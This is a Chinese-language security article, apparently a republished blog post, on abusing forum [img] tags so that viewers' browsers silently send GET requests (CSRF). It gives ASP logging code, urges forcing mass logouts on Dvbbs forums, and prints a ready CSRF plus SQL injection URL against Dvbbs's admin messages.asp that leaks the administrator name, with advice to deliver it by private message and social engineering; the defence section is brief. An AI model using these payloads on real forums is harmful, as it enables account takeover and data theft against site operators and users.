Html標(biāo)簽帶來(lái)的安全隱患測(cè)試
WWW服務(wù)是因特網(wǎng)上最重要的服務(wù)之一,提供給客戶各種各樣的信息資源,而把這種信息資源組織起來(lái)的一個(gè)很重要的東西就是Html超文本語(yǔ)言,然后經(jīng)過(guò)應(yīng)用的發(fā)展就出現(xiàn)了其他的如UBB等標(biāo)簽但是最終都是以Html代碼來(lái)實(shí)現(xiàn)的。經(jīng)過(guò)研究發(fā)現(xiàn),即使是最安全的安全代碼(已經(jīng)排除了通常所說(shuō)的Xss漏洞)也無(wú)法避免另外一種惱人的攻擊方式,配合不嚴(yán)格的程序,可能被人利用產(chǎn)生更大的威脅。
我們就以現(xiàn)在廣泛存在于論壇,文章系統(tǒng),Blog系統(tǒng)等腳本程序中的[img]標(biāo)簽也就是轉(zhuǎn)化后的<img>標(biāo)簽舉例來(lái)說(shuō)明這個(gè)被忽視的安全問(wèn)題吧!首先我來(lái)談?wù)勛约簩?duì)這個(gè)標(biāo)簽以及瀏覽器對(duì)這個(gè)標(biāo)簽的處理過(guò)程。首先看看下面這個(gè)UBB代碼:
[IMG]http://www.cnbct.org/loveshell.jpg[/IMG],然后通過(guò)腳本程序的轉(zhuǎn)換成為了<img src=http://www.cnbct.org/loveshell.jpg>。<img>標(biāo)簽是在當(dāng)前的頁(yè)面嵌入一個(gè)圖片,現(xiàn)在的論壇程序在發(fā)帖子以及個(gè)人頭像那里都有這個(gè)功能,當(dāng)瀏覽器遇到這個(gè)Html標(biāo)記的時(shí)候就會(huì)根據(jù)src的地址,這里是http://www.cnbct.org/loveshell.jpg去尋找網(wǎng)絡(luò)資源,當(dāng)找到這個(gè)圖片的時(shí)候就會(huì)訪問(wèn)并且下載這個(gè)資源然后在本地進(jìn)行解析,在瀏覽器里顯示出這個(gè)圖片,如果找不到這個(gè)資源就會(huì)顯示一個(gè)紅叉表示出錯(cuò)了。這里http://www.cnbct.org/loveshell.jpg是個(gè)很正常的圖片,所以一切都順利進(jìn)行,但是不知道大家想過(guò)沒(méi)有,如果這個(gè)資源是其他類(lèi)型的資源譬如一個(gè)網(wǎng)頁(yè)一個(gè)eXe文件或者是一個(gè)asp頁(yè)面,當(dāng)不是圖片類(lèi)型文件的時(shí)候,結(jié)果會(huì)怎么樣呢?
答案很明顯,是圖片顯示一個(gè)紅X,我們的Exe文件也沒(méi)有下載,Html頁(yè)面也沒(méi)有執(zhí)行,這是理所當(dāng)然的東西,因?yàn)镮E或者其他瀏覽器會(huì)把取得的資源當(dāng)作圖片解析,這樣就會(huì)產(chǎn)生錯(cuò)誤從而顯示紅X了。到這里大家也許還覺(jué)得沒(méi)有什么用,但是如果我們把圖片的地址改成
http://127.0.0.1:88/imgtest/test.asp?user=shell這樣的形式呢?其中test.asp里有如下內(nèi)容的話
<%
dim fso,file //定義Fso對(duì)象
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.createObject("Scripting.FileSystemObject")
path = server.mappath("imgtest.txt") //打開(kāi)同目錄imgtest.txt
set file=fso.opentextfile(path, ForAppending, TRUE)
file.write("有人來(lái)了: ") //寫(xiě)內(nèi)容
file.write(request.Servervariables("QUERY_STRING"))
file.write vbCrLf
file.close
set file = nothing
set fso = nothing
%>
大家可以測(cè)試看看,我們的訪問(wèn)被記錄了,甚至還得到了提交的參數(shù),但是這對(duì)于瀏覽器來(lái)說(shuō)是未知的,因?yàn)槲覀冎豢吹搅艘粋€(gè)紅X。到這里我們也許知道我們可以用這個(gè)東西做什么了!就是可以以瀏覽者的身份悄悄去訪問(wèn)一個(gè)頁(yè)面,甚至支持Get的參數(shù)請(qǐng)求,這很重要,理解了這個(gè)就可以在后面發(fā)揮我們的想象力來(lái)利用這個(gè)來(lái)做什么!
1 刷流量 我們可以在一個(gè)流量大的論壇把自己的圖象設(shè)置成要刷的頁(yè)面,然后每一個(gè)瀏覽者都會(huì)去訪問(wèn)下我們的頁(yè)面,不管他是否看
到了,但是他訪問(wèn)了,不是么?
2 破壞 這個(gè)讓人很惱火,對(duì)于動(dòng)網(wǎng)論壇如果把你的圖象設(shè)置成logout.asp的話,呵呵,所有看了你的帖子的人都會(huì)被T了,很爽吧!
呵呵,至于幻影論壇,大家可以試試,但是這是很不道德的!
3 黑客 這個(gè)是我們最感興趣的,可以跨越權(quán)限做一些事情,因?yàn)楝F(xiàn)在很多的程序?qū)τ谇芭_(tái)都是防守較好,但是后臺(tái)就不是那么嚴(yán)密
了。如果程序中取得數(shù)據(jù)的時(shí)候是用request("id")這樣的方法取得的話,那么我們就可以利用標(biāo)簽向Cgi腳本提交數(shù)據(jù)了,注意必須不能是request.form("username2")這種嚴(yán)格指定了取得的變量來(lái)源的方式,因?yàn)槲覀兊淖兞恐荒芡ㄟ^(guò)URL提交也就是上面說(shuō)的QUERY_STRING方式。這對(duì)于寫(xiě)法不嚴(yán)密的程序是很致命的,要例子的話動(dòng)網(wǎng)就是一個(gè),動(dòng)網(wǎng)Sql版本后臺(tái)的messages.asp里取得數(shù)據(jù)的方式就是request,代碼如下:
......
Sub Del()
Dim Dnum
If Request("username") = "" Then
Body = Body + "<br>" + "請(qǐng)輸入要批量刪除的用戶名。"
Exit Sub
End If
Sql = "select COUNT(*) FROM Dv_Message where Sender = ’" & Request("username") & "’"
Set Rs = Dvbbs.Execute(Sql)
......
這本來(lái)是后臺(tái)的必須要有后臺(tái)管理權(quán)限才能訪問(wèn)的,但是我們構(gòu)造這樣一個(gè)Url:
http://bbs.dvbbs.net/admin/messages.asp?action=del&user=’;update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/
[Username]/**/from/**/Dv_admin)/**/where[UserName]=’loveshell’;--
或者類(lèi)似的語(yǔ)句了,然后放到[Img]標(biāo)簽里。大家也許覺(jué)得管理員看自己帖子的可能性也不大,但是要知道論壇短信也是支持和發(fā)帖子一樣的[img]標(biāo)簽的,所以如果能給管理員發(fā)個(gè)短信,在里面構(gòu)造我們的Img標(biāo)簽只要他一打開(kāi)短信就會(huì)種招的哦!如果可以和社會(huì)工程學(xué)聯(lián)一塊,呵呵!有點(diǎn)遺憾的是仿佛動(dòng)網(wǎng)對(duì)&等符號(hào)做了轉(zhuǎn)換,大家可以嘗試突破,更何況網(wǎng)絡(luò)上寫(xiě)法不嚴(yán)密的程序何止千萬(wàn)。
4 想象力 大家賺錢(qián)都這么辛苦,如果把IMG標(biāo)簽里的地址改成附件下載地址的話,呵呵,說(shuō)說(shuō)而已,沒(méi)有測(cè)試。
5 ......
再說(shuō)說(shuō)對(duì)這個(gè)問(wèn)題如何防御,如果想保留這個(gè)[IMG]標(biāo)簽但是又不想出問(wèn)題的話,是需要轉(zhuǎn)換的,譬如限定后綴必須是jpg,呵呵這可以通過(guò)URL編碼加#JPG饒過(guò),反正我覺(jué)得如果有限制的話一般都是能饒過(guò)的,即使你限制了IMG,那好,還有Flash標(biāo)簽?zāi)?,還有Rm標(biāo)簽?zāi)兀?.....
防御和利用都是艱難的。
相關(guān)文章
防止絕大部份網(wǎng)頁(yè)病毒的經(jīng)典方法
防止絕大部份網(wǎng)頁(yè)病毒的經(jīng)典方法...2007-02-02
Web網(wǎng)絡(luò)安全漏洞分析DOM型XSS攻擊原理
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全漏洞分析DOM型XSS攻擊的原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11
防止利用系統(tǒng)漏洞輕輕松松繞過(guò)你的驗(yàn)證碼的方法
防止利用系統(tǒng)漏洞輕輕松松繞過(guò)你的驗(yàn)證碼的方法...2007-03-03
Web網(wǎng)絡(luò)安全分析SQL注入繞過(guò)技術(shù)原理
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析SQL注入繞過(guò)技術(shù)原理的詳細(xì)講解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪2021-11-11
防御SQL注入攻擊時(shí)需要注意的一個(gè)問(wèn)題
SQL注入算是一個(gè)極為普通的問(wèn)題了,解決方案也多如牛毛,但是新的注入方式仍然層出不窮。2009-02-02
系統(tǒng)安全之加密與解密的應(yīng)用技巧與使用方法
系統(tǒng)安全之加密與解密的應(yīng)用技巧與使用方法...2007-08-08
Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過(guò)詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過(guò)詳解,有需要的朋友可以借鑒參考下希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪2021-11-11

